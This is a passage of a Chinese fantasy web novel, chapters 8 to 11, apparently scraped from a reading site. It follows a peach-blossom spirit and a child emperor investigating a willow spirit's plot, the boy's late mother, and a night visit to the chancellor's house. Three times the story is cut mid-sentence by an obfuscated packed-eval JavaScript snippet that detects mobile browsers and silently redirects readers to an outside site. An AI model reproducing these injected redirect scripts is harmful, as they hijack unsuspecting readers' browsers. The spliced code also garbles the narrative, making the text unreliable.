去往万寿宫的这条路对他来说是很陌生的,或者说,整个皇宫除了太极宫对他来说都是陌生而令人恐惧的存在。听说是父王的命令——他从前一直与母亲住在一起,几乎没有出过那一片四方院子,直到叔祖父驾崩,母亲与父亲都死了,他才终于从那里走出去,跟着桃薇姑姑来到太极宫住下。 他忍不住询问:“柯良,母后突然召见朕是有什么要紧的事吗?” 他坐在轿子里,仍需要抬头仰望身边的男人,他想柯良真是他见过最高的人了。 “这奴婢就不清楚了。”男人在太极宫里经常阴沉着一张脸,此刻脸上终于多了几分活人气的笑,“太后娘娘让做什么您只管照做就是了,不必去想那么多。” 柯良的笑容愈发深了,“陛下,到了。” 等郑烨亦步亦趋随柯良进去,发现里面除了太后娘娘与桃薇姑姑,还有一女一男两个不认识的人。 “儿臣给母后请安。” “起来吧。” 头顶传来一道沉稳威严的声音,是母后。 他屏住呼吸站起身来,一刻不敢抬头,正当他苦苦思索太后找自己来能有什么事情时,并排站在左前方的一女一男在此刻同时开口: “臣柳玉冷,拜见陛下。” “臣崔朔,拜见陛下。”男声话音一转,复而朝向最上方的那个人,“娘娘,既然陛下已经到来,那微臣便先退下了。” “等一等。”太后出声制止,不紧不慢起身走下来,停到男人身边,气定神闲与他交谈,“小将军先前不是要替父检查那株种下的桃木吗,再等一等,一会和烨儿一起回太极宫瞧瞧。”她笑了一下,看向不远处僵立的男孩。 郑烨脑袋嗡嗡直响,全部心神都停留在方才女人所说的“柳玉冷”三个字,一个字也听不进去。 “烨儿。” “儿臣在!”他猛地抬起头来,在看到面前女人显然不悦的神情后才后知后觉她已经喊了自己很多遍,当即吓得哆哆嗦嗦要跪地求饶,这时旁边一位着鲜绿衣裳,身高体长的女人几步间走过来绕到他身后,扶住他的肩膀,含笑的声音自他后脑勺处响起:“陛下不必害怕小将军,一会儿臣陪您去。” 郑烨头皮发麻,只觉得瞬息间冷汗就已遍布全身,他害怕地闭上眼睛,最后还是鼓起勇气抬起小脸面向面前那位逆光而战的人,“母、母后,这位是?” 桃薇笑着上前一步解释:“陛下年满六岁就要开始学习了,这位是娘娘亲自为您挑选的太傅柳玉冷柳大人。柳大人博古通今,学富五车,是很厉害的大人物呢,陛下您可要跟着柳大人好好学习呐。” 8. 第 8 章 郑烨在想这一切是不是绮英大人安排好的。 那个名叫崔朔的男人最终还是没有去太极宫,他们一行人走到半路时突然被匆匆跑来的桃薇姑姑叫住,姑姑说太后娘娘找小崔将军有急事相商,便将冰块似的男人叫走了。 “这不是遛狗嘛。”柳玉冷看热闹不嫌事大在一旁调笑,被柯良警告一番也悠然自得,全然不放在心上。 旁人只以为这个突然冒出来自称太傅的女人是太后娘娘控制郑烨的手段,可他却很清楚,此女为妖,且和自己宫中那个神秘的桃花精有着千丝万缕的关系。 回去时桃花精不知是躲避柯良还是由于别的原因,总之并未现身,甚至无法察觉到她的任何气息。 柳玉冷背着手绕着院子里那株庞大的桃花树走了两圈,笑容满面叮嘱下月初一就开始到御书房学习了,然后意味不明拍了拍柯良的肩膀便走了。 好像她真的只是顺路送他一趟。 郑烨望着女人离去的背影出神,柯良连叫了三声才回过神来,于是不出所料得到了男人掐着嗓子的阴阳怪气: “陛下是做了皇帝还没成神仙呢,与其每日神神叨叨想些乱七八糟的东西,倒不如多花点心思讨太后娘娘欢心。” 他早已习惯宫人讥讽的话语,没有将男人话里话外的嘲弄放在心上,无声笑了笑便回去了屋内。 皇帝开始正式念书是很重要的事,往往要提前十五日进行简单的祭祀与祈祷仪式,祈求学问进步、治国安邦。尽管郑烨只是个名存实亡的皇帝,太后还是为他准备了盛大的仪式,朝中不少人猜测这只不过是拿小皇帝当幌子,太后真正想要讨好的是那位突现世间的太傅柳大人。 桃花精吊儿郎当躺在树上听小孩讲这些天发生的事,困倦地打了个哈欠,几乎在同一时间底下絮絮叨叨的可爱声音便戛然而止。晃了晃垂在半空中的右腿,她又打了个哈欠,同时嘴里催促:“你继续讲啊,我听着呢。” 下方安静了一会,传来男孩关切的声音:“绮英大人最近很劳碌呢,我让人为您准备热汤与床褥,您好好休息一下吧。” 她双目放空盯了一会头顶模糊的花丛,懒懒散散道:“正是因为最近很累所以才更需要待在树上,都跟你说过很多遍了啊我们妖精与你们凡人休息的方式不一样,不用总是提这种没用的建议啦。” 郑烨敏锐察觉到女孩语气中的不耐烦,想问的话只好憋回肚子里没敢再说,他仰头,视线从她发间一抹翠绿转移到耷拉下来的衣角,想了一会坐在一块凸起的树根上,双手抱膝闭上了嘴巴。 他记得绮英大人说过,他身上的帝王之气有助于她修行,虽然不清楚这几天绮英大人来无影去无踪在忙些什么,不过还是希望能够通过这种陪伴她的方式,让她好受一些。 桃花精当初与柳精定下约定时,女人并未直接言明自己的真正目的,妖精大多习惯了单独行动,很少过问不同种族的事情,因此那时她只是秉承着无论实力相差多么大也都是妖精,总归是为了族群的未来,肯定不会做出什么出格的事,对柳精这种大妖很是放心。 结果不曾想柳精所图如此之大,她竟然想要掺和进一个王朝的兴衰之中! 听小孩的意思,应该是柳精不知道用了什么手段迷惑当朝太后,使其对她十分信任,竟以一己之力压下群臣非议捧着她做了当朝第一位女官。 此事能成功除了有太后自身强硬的手段作为开路剑外,还有则是奸臣当道,大臣们几乎对宰相马首是瞻,不敢不听从他的所有命令。而那位崔相又一心想要削弱太后与皇帝一对母子的势力,故而并不把太傅这个职位放在心上,甚至对太后任用一个平民女人教导皇帝的行为喜于乐见,估计以为这又是太后与皇帝争斗的手段,想着坐吃渔翁之利呢。 事已至此桃花精能做的就是尽力将自己从此事中摘出去,无为反而是最干净的做法,强行阻止只能让自己在这段因果中越陷越深,反正等区区几十年过去小皇帝死了,她把柳精的那颗果还了就彻底自由了。 想象了一下以后无事一身轻的快乐生活,她修炼有了盼头便更加努力,这段时间经过帝王之气的滋养简直神清气爽看诸物皆顺,结果一不小心修行过了头忘记自身灵体曾经受损,反而更加劳累。 又被柳精耍了。 她还以为那两杯柳叶茶把她的身体修复好了呢!原来只是帮她清除灵台污垢,真是抠门! 桃花精一心想着在凡间的这几十年能好好修行,充盈灵田,将来回到桃花谷后才能更好地修复众多枯朽桃木,却忘了心急吃不了热豆腐的道理,说白了此事还得从长计议慢慢来,欲速则不达,她还算是个有天赋的妖精,只要把底盘养好不愁以后修炼不足。 思及此处,她收回腿一个鲤鱼打挺从粗大的树枝上坐起来,低头正想喊人,便看到玉雪可爱的男孩抱腿倚靠在树干上睡着了,几朵桃粉花瓣落在他的白玉小脸上,宛如误入尘世间的精灵。 妖精天生向往美好的事物,她也喜欢这幅美景,兀自欣赏了一会才跳下来踢了踢男孩的小脚,“醒醒了,跟你说个事。” 男孩迷迷糊糊睁开眼,首先映入眼帘的是他心心念念的绮英大人,而后才是越过她映射过来耀眼的阳光,他下意识闭上被刺痛的双目,只不过一瞬又睁开贪婪地望着眼前的人,“对不起绮英大人,我不小心睡着了。” “没事呀。”桃花精是个不拘小节的人,虽然暂时与小皇帝绑定在一起却并不把他当做自己的所属物,看他这幅懵懂天真的样子有些好笑:“你一个小孩子,怎么也那么累了。” 孩子呆呆的神色一僵,闻言表情有点奇怪地放下手,小声嘟囔:“绮英大人......我与你说过的,下月初一我就要跟随柳大人学习功课了,最近每天都要抽出时间学一会,以免到时太笨拙让柳大人不满意了,且祈祷仪式昨日才结束,我这些天都没好好睡觉。” 较之从前,现在男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002178|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩在她面前要自然放松许多,终于不再总是一副小心翼翼战战兢兢的模样了,有的时候还会像这样小声表达自己的不满,而这个时候的桃花精—— 当然是同样不满地跳脚了: “喂你这话什么意思!明明你也看出来我最近很累的吧,你一定看出来了我都听到你说了所以不能狡辩!”她愤愤指着地上满脸委屈的男孩,“既然清楚我累,那你就讲话再大声一点不就好了,哦,像你这样在树底下声音超小的碎碎念,我怎么可能每一句都听到啊!” 郑烨脸颊鼓起,也很委屈:“对不起嘛,下次再有这种情况我会超——大——声——讲——话——的——” “超大声讲话的”几个字被他刻意拔高嗓音说出来,却也只是比正常讲话的声音大一点,只见到男孩故意扯开嗓子后反倒自己不好意思起来,红着脸自以为很隐蔽地观察桃花精的反应。 “哈?”桃花精一手叉腰,另一只手对着男孩鼓起的脸颊肉戳戳戳,“你这个小家伙是在跟我比谁的嗓门大吗?” 话音一落,紧随其后的便是响彻整个皇宫的尖锐声音:“不许挑衅我——” *** 郑烨捂紧耳朵,目光呆滞望着眼前的人,仿佛做梦一般还沉浸在刚才几乎震碎耳膜的声音之中。 如此大的动静当然引起宫内所有人的注意,不过也正是因为动静过于大了,却又找不出源头,大家也只把它当做灵异鬼怪之事,心中惶恐不安几日便也作罢了。 而郑烨彻底被桃花精这一嗓子给吼老实了,不敢再与她多争辩什么,生怕这位祖宗再发出什么惊天地泣鬼神的大动静。 为此桃花精很是得意,深感自己总算没有丢了妖精的面子,端着架子使唤了小皇帝很长一段时间,今日叫他端茶倒水,明日让他捏肩捶背的日子过得好不快活。 直到要去御书房跟柳玉冷学习的前一天晚上,小皇帝才后知后觉反应过来:“对了,绮英大人,那一天、就是您把整个皇宫的人都吓得不轻的那一天,您当时不是说有一件事情要与我讲吗,是什么呀?” “哦对!”正斜躺在床上嗑瓜子的桃花精一拍脑袋这才想起来,她忘性大,常常想一出是一出,经由郑烨提醒后还反过来抱怨男孩怎么不早点说。 男孩委屈巴巴解释自己也是刚刚想起来。他这些天被桃花精使唤的脚不沾地,连书法都好几天没有练了。 对此桃花金的看法是:反正象国有你母后你怎么样都无所谓吧,我看太后压根儿没把你放在心上,估计就是拿你当借口好名正言顺送柳精来到她身边。 桃花精对着正认真剥瓜子的男孩招招手,男孩立刻像只小狗一样屁颠颠地捧着圆润饱满的瓜子小跑过来,他两只小手举过头顶,将剥好的瓜子奉上,纯净的笑容里满是讨好意味。 她笑嘻嘻抓过瓜子仁,然后把自己手中半个拳头多的瓜子壳送给男孩,同时与男孩商量:“给我从万寿宫要个东西过来。” 9. 第 9 章 桃花精无论如何也忘不掉那日在皇家陵园见到的漫天紫气,最初她将其归因于那个女人与当朝天子关系匪浅,可住进太极宫慢慢了解到太后与皇帝的恶劣关系后,她越想越不对劲。 再结合如今柳精的动作来看,她总觉得自己忽略了什么地方,像是、像是绕了一个圈......? 小皇帝平日里还没见到太后就恨不得躲八百米远了,这回叫他亲自到万寿宫要一件太后身上的物件,实在是太难为他了。可这是绮英大人难得一次的要求,他又不得不遵循,只好垮着一张小脸不情愿应下。 “但是先说好!”男孩跪坐在地上,小手扒拉着床沿可怜巴巴望着桃花精,温暖的烛光照耀在他洁净的脸蛋上,使这张灵气逼人的脸庞多了几分烟火气,“我不一定能拿到......真的真的对不住绮英大人,母后她很严厉的,身边时时刻刻都有人守护着,噢还有桃薇姑姑!虽然桃薇姑姑在一些小事上很好说话,可只要涉及的母后,桃薇姑姑就会变得可吓人了!” 他垂下眼不敢再看她,纤长浓密的睫毛投下一大片阴影,桃花精这才注意到男孩身上毛发都黑的惊人,寻常人总是越靠近发根的地方发色越浓厚,而发梢往往因为干枯摩擦等缘故泛棕一点,可这个孩子不一样。 她情不自禁拾起男孩趴在床沿时双臂带起而铺散开来的一缕发丝,细细摩挲着,感叹:“你的头发可真漂亮,是我见过最漂亮的头发,比黄鼠狼精的还好看。” 郑烨下巴搁在交叠的双手上,歪了歪头,知道女孩又将她上一刻还在谈论的事情忘了个干净,出于连自己也搞不明白的原因,他忽然没忍住笑出来,于是不出所料被女孩锤了一拳。 绮英大人力气很大,尽管平日里与他相处时会刻意收着力道,但有时候打人还是会很痛,比如现在。 “绮英大人。”两人玩闹一番,不知道什么时候跑到床上用被子把自己裹成了个粽子的郑烨仰起小脸,主动提醒:“虽然很难,不过我会努力从万寿宫那里要个东西回来的,因为,这是我第一次拥有帮助绮英大人的资格,所以无论如何都不想让您失望。” 他笑容灿烂,比之初见那一晚脆弱拘谨的模样简直脱胎换骨,终于有了几分正常小孩的活泼童趣,像只小猫一样围在桃花精身边蹭个不停。 一切便如桃花精之前猜测的那样,太后根本不把小皇帝放在眼里,无论是准备盛大的祈福仪式,还是往太极宫里送来一车又一车的纸墨笔砚,所求都只不过是为了讨柳精欢心。而柳精似乎也已看清这个王朝的命运,她大多时候都是待在御书房内自己看书,有的时候也会从万寿宫那里抱来一些奏章瞧,至于小皇帝,并不被她放在心上。 郑烨时刻谨记着桃花精的要求,一日终于让他找到了机会随同柳精一起去万寿宫请安,岂料刚刚开口便被柳精打着哈哈堵回来了,还说了“陛下身为一国之君还是要将重心放在学习上,将来才好为太后娘娘分忧”这种话来引导太后娘娘下令命他若无要事不得在宫内随意玩耍走动。 桃花精听了很是气愤。 女孩气得在屋里走来走去,虽说是担心自己被柳精坑蒙拐骗了所以才想要借用太后周身之物来推演一些不为人知的秘密,但……但不可否认的是,这其中还是有一丁点原因是怕柳精年纪大了脑子犯浑做出错事,她为自己多管闲事还不被领情而气恼,却又不愿意承认,只能梗着脖子不停抱怨柳精这不好那也不好。 郑烨抱着隐隐冒着热气的食盒站在门边,像个犯了错害怕惩罚的孩子那样低着头不敢看人,隔老远都能感受到这个孩子身上散发的浓浓失落。 “绮英大人。”男孩小心翼翼往前走了一小步,满脸歉疚地开口:“这是我让小厨房做的甜糕,从前还在王府时,母亲就很喜欢吃这种糕点,我尝着也很不错,绮英大人您尝一尝吧。” 桃花精正独自生闷气,扭头便对上了男孩一双黑葡萄似的大眼睛。 那是一种不会掺杂任何杂质的纯净的黑色,让人下意识确信无论身上燃烧着多大的怒火,只要冲进那一片沉静的漆黑湖泊中都会消失的无影无踪。 她重重叹了口气,心里也清楚这不是男孩的错,“等过段时间黄鼠狼精出来了,我去问问他是否知晓柳精的动作。” 桃花精一屁股坐在床上,招招手,男孩立刻小跑过来殷勤地打开食盒,将里面色泽鲜美,形状精巧的糕点呈上。 “喔,看起来就很好吃嘛!” 男孩眼睛亮了亮,很大程度上松了一口气,高兴笑起来,抿唇想了一下,学从前偶然一见桃薇姑姑喂母后吃东西的样子,伸手从食盒里拿出一块兔子模样的甜糕也要喂给花绮英。 桃花精很给面子地一口咬住吃掉,嚼嚼嚼,含糊不清道:“嗯——!果然超级好吃啊!” 清甜的味道自齿缝自然流露而出,甜蜜充斥口腔,伴随舌苔的感受一起涌入心头的是一股突如其来的熟悉感。 她忽然瞪大眼睛,激动地猛拍郑烨,男孩以为她被噎到了赶忙丢下食盒倒杯茶端过来,而她接过茶时就已经把嘴里的甜糕全部咽下,捧着温凉的茶水惊喜看向男孩:“这东西我吃过!” “诶?”郑烨愣住,随即很快反应过来,“这是甜糕,民间各处都有卖的,叔祖父从前也应带绮英大人品尝过的。” “不是!”桃花精头摇的像拨浪鼓,“这个味道跟普通甜糕不一样!甜而不腻还凉凉的,我至今只吃到过两回。” 她喝了一口水缓解激动的情绪,神神秘秘伸出一根手指:“一回是现在。” 继而伸出第二只:“另一回是……” 男孩被吊足胃口,“是什么时候?” 回应他的是咔嚓碎裂的杯具,郑烨吓了一跳,连忙把桃花精手里的陶瓷碎片拿出,又紧张兮兮捧起她的手仔细检查有没有划伤。 桃花精骤然变得沉默下来,默默收回举着的那一只手,无错地拍了拍裙子上的水液,目光是说不出的落寞。 “绮英大人......”察觉到女孩的异常情绪,郑烨眼神暗下来,握紧她的手,“是甜糕有什么不对吗?” 女孩像是久久沉浸在自己的世界里突然被拉回来一般,有一瞬间的恍然。 桃花精低头便能看到男孩饱含关切的小脸,她努力看清这张美丽无双的脸蛋,想要从中搜寻一些尘封到记忆深处几乎无从捕捉的熟悉感,却一无所获,好像方才那一口的甜糕只是一场噩梦。 她干巴巴牵起一抹笑,显然很失败,因为男孩更加紧张了。 为了求证,她又吃了一块甜糕,这一回她吃的很慢,郑烨还是第一回从女孩脸上见到如此认真的神情。 “这个甜糕——”桃花精咽下,“上一回吃到它还是我名叫陶丽绾的时候。” “陶丽绾?”郑烨不自觉重复,“这又是哪个人为您取的名字吗?” “不是,不对,也算吧。”她没有直接回答男孩的问题,反而颇为迫切地盘问:“这甜糕是谁做的?” 男孩自然不敢有隐瞒,如实说道:“是小厨房里张嬷嬷做的,不过张嬷嬷也是随母亲学的,从前母亲总爱做这种甜糕自己吃。” “你母亲叫什么名字?” “柳玉珍。” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002179|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”她差点怀疑自己听错了,“柳、玉、珍?柳树的柳玉佩的玉?柳玉珍?” 郑烨点头如捣蒜。 震惊中的桃花精从床上站起来,仍感到不可置信:“柳?她怎么会姓柳——” 说到这里,女孩像是被定住一般卡壳,过来许久才扑通一下坐回床上,捧住郑烨的脸一字一句询问:“你母亲出自京城哪户人家?” 男孩有点被吓到的样子,他胆怯地摇摇头,“我不清楚这些......” 她看了他一会,泄气放了手,也是,先不说他从前与他那位母亲并不亲近,且他这种废物小皇帝一看就两耳不闻窗外事,哪里知道太极宫以外的事情。 桃花精吸了吸鼻子,垂头盯着自己的双手看了很久很久,垂落的发丝遮掩住全部情绪,她陷入沉思。 郑烨不知道究竟是怎么回事,甚至也不清楚身边的人为何变得如此消沉,他只会简单地将一切归因于自己,不仅没有完成绮英大人难得提出的要求,还自作主张送这种糕点惹绮英大人伤心了,说起来本来送这个是想要安慰绮英大人的......他真是太没用了,能力不足帮不上忙就算了,连最基本的哄人开心都做不到。 心脏被愧疚的酸水充满,胀胀的,很难受。 他其实很想哭,可是绮英大人都没哭,他这个罪魁祸首又有什么脸面去哭呢?况且绮英大人大约是不喜欢他哭的吧,每次没忍住掉眼泪时绮英大人的表情都很糟糕...... 所以这么看来绮英大人真是很好的人,从来没对自己生过气,还一直包容他理解他陪伴他,明明他于她而言只是个无关紧要的蝼蚁吧。 郑烨死死咬住下嘴唇努力不让自己哭出声音,泪水一滴一滴落在地板上,脸都憋红了。 桃花精掌心接近食指的地方有一颗红色的痣。 象国有一个民间神话,传闻中司春之神有句芒、青帝与花神三位,花神作为掌管花卉开放与春天美景的神明用处并不广泛,因此与前面两位相比很少有人愿意去供奉,长久被忽视的花神心生不满,便在一年的春天私自令百花衰败,想要以此让凡人明白自己的重要性。然而他这样自私的行为引发女娲娘娘震怒,女娲娘娘责令她以凡人之躯在俗世轮回转生九九八十一遍进行悔过,否则永世不得超生。 流落凡间的花神痛不欲生,几度于春回大地之际投河自尽,妄想借此了却这幅血肉之躯,然而每一世都会被一个善良的凡间女子救下。 被俗世善念深深打动的花神终于认识到自己从前罪孽滔天,便主动放弃神格自贬为凡人,与每一世救下他的那名女子结发为夫妻,尽心尽力照顾她。 神是没有爱的,于是每当那名凡间女子对花神产生爱时,做为给予他爱回报——同时也是对她爱而不得的补偿,那个女子手上便会长出一颗红痣,保佑它的主人一生平安顺遂,无病无灾。 到了后来,这个神话也慢慢演化出一个有意思的传说:当一个人产生无论如何也无法完成、却也无论如何无法忘却的执念时,那个人的掌心就会长痣,作安慰道:纵使此生难遂愿,平安顺遂度余年。 桃花精想,她是妖精,才没有凡人那么多弯弯绕绕的小心思,因此也绝不会产生那种痛的要命的执念,再者说了,不就是一颗痣嘛,能代表什么,不过是凡人们为了自我安慰杜撰的故事罢了。 退一万步来讲,就算这颗痣真的代表某种执念,那也是上一代桃花精留下的执念。 就像是把“陶丽绾”这个名字留给她一样,也把这颗蕴含了自己终生执念的痣留给了她。 哦,还有那份甜糕。 10. 第 10 章 当今太后不喜皇帝生母,阖宫上下无人敢提起那个女人。 好在郑烨这里还留有其母遗物,再加上桃花精这段时间住在太极宫身体恢复不少,也能够使用一些灵力耗用较少的术法了,便找出一只桃花模样的白玉簪子,对着它掐法施诀,很快从中推演出柳玉珍的一小部分信息。 说起来这名柳玉珍倒是来头不小,祖上出过一名太后两位宰相,只是在其祖父那一代逐渐没落退居东河郡,后来她的姐姐远嫁京城崔氏,怜惜她这个小妹妹孤苦无依,便将她一同带来了京城生活。后来在一次宫宴上,灵动聪慧的柳玉珍得到了郑岚长嫂的赏识,一举从寄人篱下的外姓女跃升为太子侧妃,婚后更是与太子恩爱无比,伉俪情深。 看起来倒是挺普通一个人。 不像与妖精有牵扯的样子。 桃花精坐在靠窗的长榻上,托腮望着对面捧着一本书认真背诵的男孩,左思右想也找不出记忆里与之相似的脸庞。 难道只是因为那个人把甜糕的做法分享出去了,从而一直传播至今,而恰好郑烨的生母柳玉珍学会了? 世上真有如此巧合的事吗? 况且柳玉珍的名字还跟柳精在人间的化名如此相似,这其中真的没有关联吗?目前已知柳精是肯定认识上一代桃花精的,那么与这种甜糕的创造者熟识也不无可能...... 等等! 怎么不能是柳精取了个与柳玉珍相似的名字呢! 桃花精只觉脑中霎那间闪过一道白光,恍然大悟:她总是疑虑自己是否在无意识当中步入柳精设下的圈套,可或许这种想法从一开始就是柳精的计谋,不是柳精钓鱼等她上钩,而是柳精看到她这只肥美的鱼儿想要下水捕捞! “郑烨!”桃花精一把抽掉男孩的书,目光炯炯有神,“咱们去崔相家!” “诶诶?”郑烨慌忙拉住兴致勃勃的女孩,“可是母后说了......” “哼!”桃花精抽手甩开男孩,“你不敢去,那我就自己出宫玩耍了!” 听到“出宫”两字,男孩眼睛立马变得亮晶晶,又轻轻拽住女孩的袖子撒娇:“我去我去,绮英大人求求您了,带烨儿出去吧——” 于是—— “绮英大人......”小奶团子郑烨顶着鸡窝头欲哭无泪,他委屈巴巴看着手里一朵平平无奇的桃花,小腿肚都在打颤,“您说的绝对不会被发现的办法就是大半夜带我从太极宫飞到宰相府然后偷偷摸摸躲在不知道是哪里的哪里并且还要时刻警觉不会被人看到吗?呜呜而且在这么艰难的条件下竟然还要我偷姨母的东西......绮英大人真的不是在惩罚我吗?” 安静躺在男孩手心的花朵被风吹动,翻了个滚,随后继续悄无声息躺在那里。 现在不仅是小腿,连手也开始抖个不停了。 “绮、绮英大人?绮英大人您还在吗?等等,您不和我一块偷东西吗?不要啊绮英大人不要丢下我一个人啊啊我不行的我绝对不行的呜呜呜——”过于惊恐的男孩直接害怕地软了腿跪坐在地上,缩紧身子战战兢兢用一双泛满泪花的漂亮眼睛观察四周情况。 忽然一阵阴风吹过,男孩下意识尖叫出声,一手紧紧握住桃花另一只手向半空中胡乱挥打,嘴里不住念对不起对不起。 “噗哈哈哈哈哈!”下一刻,熟悉的笑声陡然在这片陌生的环境里响起,郑烨颤抖个不停地身体骤然放松下来,他愣愣从袖子下抬起头来,眼神呆滞望着面前捂着肚子笑个不停地女孩,而后低头看向自己空荡荡的掌心,这才意识到自己被耍了。 “您是故意吓我的。”郑烨慢吞吞说出这个事实,脸上没了表情,没有害怕也没有委屈,只是静静看着桃花精。 良久,在女孩终止笑声将要看过来的前一刻,沉默宛如雕塑的男孩才突然扯开嘴角,展露一个略显僵硬的笑,“真是,绮英大人又逗我玩......我是真的在害怕的。” 后半段话他说的声音很小,桃花精还沉浸在捉弄人成功的洋洋自得中自然没有注意到,她笑嘻嘻一把将男孩从地上薅起来,郑烨被她拽的有些疼,但还是努力挤出一抹亲昵的笑,看上去有几分可怜,“绮英大人,咱们声音还是小一点吧,宰相府奴仆众多,一不小心就会被人发现的。” 桃花精满不在乎哦了一声,显然并不把他的话放在心上,她一手拉着男孩走到墙边,另一只手突然涌现点点白光,被她贴紧冰冷的石墙。 任凭郑烨平日性子如何沉闷,也不过是个六七岁的孩童,难得一回见花绮英施展法术都很惊奇,心里那一点点说不上来的伤心顷刻间烟消云散,他便这样一路惊叹地看着女孩口中念念有词牵引着他来到一处院落外头,这院子与一路所见皆不相同,高墙红瓦,一眼望去看不见头。 “这里应该就是宰相与你姨母居住的地方了。”桃花精得意收回手,斜眼看向满脸敬佩的男孩,“怎么样,我还是很厉害的吧。虽然,咳,可能比柳精稍微差了那么一丁点,但是本姑娘天赋异禀,用不了几天就能学会别的妖精几十年才能学会的法术。” 郑烨经常听女孩说自己是很有天分的妖精,此刻更加相信了她的话,脸上笑得很开心,十分捧场地夸个不停。 桃花精仰头看了看高大的院墙,闭目呼吸停顿片刻,再次睁开眼时眼含精光,勾唇笑道:“还真是越查越有,没想到你姨母院中也种了一株桃树。”当然也有可能是巧合,但她不信。 男孩跟着高高仰起头看向天空,犹豫了一会还是说道:“叔祖父生前很喜欢桃花,朝中大部分重臣府院里都种有桃木的。” 她挑眉,没说话。 郑烨一直警惕注意着周围的情况,他很担心被人发现,与此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002180|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时内心也暗生出隐秘的期待与跃跃欲试,他从前的时光总是被忽视与囚困的,被母亲忽视,被困在母亲的小院子里;被母后忽视,被困在太极宫内。可是今天不一样,他看风吹树动,月影婆娑,内心是一种难以言喻的舒畅,这是他第一回走出灰暗的四方天地,与一个傲视群英的强者一起做一件惊天动地的大事。 “绮英大人,我们如何进去呀?” “你不去。” “......”郑烨立马抱住女孩的腿,“绮英大人我错了,我刚才不该对您心生不满的,求求您不要把我一个人丢在这里。” “好啊你小子。”桃花精弯腰揪住男孩的耳朵恶狠狠理论:“不就是开个小玩笑嘛你竟然还敢生气!” “我没生气。”男孩表情痛苦地捂住自己的耳朵,“就是有一点点不满啦......只有一点点而已。还不是绮英大人动不动就吓我,而且刚才那种情况真的很危险的!” 此话一出,郑烨就后悔了,他眼睁睁看见桃花精理起袖子一副要争辩个明白的架势,怕的不行,偏偏这时候远处突然亮起烛火,他担心引起宰相大人注意连忙拉住女孩的手要跑开。 然而以桃花精的视角来看就是与自己正要一决高下的男孩突然袭击,她下意识伸手要推开男孩,正巧背后突然传来火焰噼啪燃烧的声音,她被吓到一个不注意没收住力道,直接推的男孩要往后面倒,担心男孩摔伤她忙上前一步想要拉住他,却不小心踩住男孩过长的衣裳,两人直接叠罗汉一般往门上倒去,发出巨大声响。 “哎呦——” 更没想到的是本来紧闭的院门忽然从里面打开,桃花精直接抱着郑烨摔倒进一个坚实宽阔的胸膛里。 她浑身僵直一动不敢动,恨不得当场施个法术原地消失,郑烨被她不断收紧的双臂挤得喘不过气,控制不住咳出声。 那个抱住她的陌生男人仿佛此刻才回过神来,紧紧拥住她的力道忽然松懈,轻手轻脚扶她站直身子。 未等桃花精抬头观察情况,男人便错身绕开她走过去关上门,她转身去看,正好与关紧门扉的男人对上眼神。 一身黑衣的俊逸男子先是对着桃花精怀里像只受惊了的小兔子一样的男孩点点头,“陛下。”随后抬头直视对面的女孩,凝结于眸中的冰雪在一瞬间融化,他的神情称得上怀念,语气小心温柔:“陶姑娘。” 桃花精皱眉,反手将怀里的小皇帝挡在身后,冷冷盯着眼前俊的不像话的男人,“你是谁?” 男人被这句话打了个措不及防,本来略显凶煞的眉眼因此变得低落,他笑了一下,似是想要让自己显得不那么可怕,也可能是在自我安慰,总之他这幅神情配上他浑身很具有攻击性的气质显得有几分奇怪。 他上前一步,皎洁月光静静为他掀开面前隐约的暗淡,“在下崔朔,幸会。” 11. 第 11 章 然后现在的局面就变成了一妖一人一小孩围桌而坐相对无言。 “所以说为什么会找到你这里来啊——”桃花精瘫倒在桌面,额头贴在柔软的桌布上,闭目哀嚎:“明明追踪的是柳玉珍姐姐,我都那么仔细那么严谨地施法了,哦——路上还一直有在确认气息是否正确,没想到最后还是失败了啊啊,究竟是哪里出了问题可恶!” 女孩怒拍桌案,怒起而立,“不行!我决定了,从今天开始我一定要好好修行认真学习法术,争取早日超过柳精那个坏蛋!还有你——”她伸出一根手指指向因为突然被点名而陷入紧张的男孩,“你以后不准再缠着我玩乐了知道没有!哼,要不是因为你这段时间以来总是拉着我一起玩,我们今天肯定早就找到你姨母了!” 听到这话,郑烨立马倒吸一口凉气,不安看了一眼旁边冷若冰霜的男人,他跳下板凳绕到对面拽下女孩的手,神情慌张:“绮英大人,您不要再说啦!” 一直闭口不言充当木头的男人忽然看过来,脸上的表情柔和几分,话是对着皇帝说的,眼睛却直直看向桃花精,“陛下不必在意我。” 桃花精无法轻易接受自己的失败,动了动胳膊甩开男孩,重新坐下后看向崔朔,直接提出自己的要求:“能不能让我见一见你娘。”她觉得当初在陵园那么离谱的要求男人都愿意帮自己,如今这个应该也不成问题。 